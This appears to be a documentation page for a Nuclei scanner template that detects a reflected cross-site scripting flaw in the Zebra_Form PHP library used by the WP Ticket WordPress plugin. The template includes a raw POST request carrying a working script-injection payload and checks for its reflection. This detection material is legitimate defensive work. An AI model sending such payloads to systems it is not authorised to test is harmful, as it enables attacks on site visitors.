Zebra_Form PHP Library <= 2.9.8 - Cross-Site Scripting
ID: wordpress-zebra-form-xss
Severity: medium
Author: madrobot
Tags: wordpress,xss,wp,wpscan,intrusive
Description
Section titled “Description”Zebra_Form PHP library 2.9.8 and prior (which is used by some WordPress plugins) is affected by reflected cross-site scripting vulnerabilities via process.php.
YAML Source
Section titled “YAML Source”id: wordpress-zebra-form-xss
info: name: Zebra_Form PHP Library <= 2.9.8 - Cross-Site Scripting author: madrobot severity: medium description: | Zebra_Form PHP library 2.9.8 and prior (which is used by some WordPress plugins) is affected by reflected cross-site scripting vulnerabilities via process.php. reference: - https://blog.wpscan.com/2021/02/15/zebra-form-xss-wordpress-vulnerability-affects-multiple-plugins.html - https://wpscan.com/vulnerability/e4b796fa-3215-43ff-a6aa-71f6e1db25e5 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cwe-id: CWE-80 metadata: max-request: 2 tags: wordpress,xss,wp,wpscan,intrusive
flow: http(1) && http(2)
http: - raw: - | GET /wp-content/plugins/wp-ticket/readme.txt HTTP/1.1 Host: {{Hostname}}
matchers: - type: word internal: true words: - 'WP Ticket' - 'Tags:' condition: and
- raw: - | POST /wp-content/plugins/wp-ticket/assets/ext/zebraform/process.php?form=%3C/script%3E%3Cimg%20src%20onerror=alert(document.domain)%3E&control=upload HTTP/1.1 Host: {{Hostname}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: multipart/form-data; boundary=---------------------------77916619616724262872902741074 Origin: null
-----------------------------77916619616724262872902741074 Content-Disposition: form-data; name="upload"; filename="{{randstr}}.txt" Content-Type: text/plain Test -----------------------------77916619616724262872902741074--
matchers-condition: and matchers: - type: word part: body words: - "</script><img src onerror=alert(document.domain)>"
- type: word part: header words: - "text/html"
- type: status status: - 200# digest: 490a00463044022029fcb256fceffb5e3763cc5e3267f4eb1e79930e6777ef3f7bd77a88735c892902203b6b3792d5e3ea67f190e49690862ae2a1289c2f3fd4501cd17832f905450da0:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wordpress-zebra-form-xss.yaml"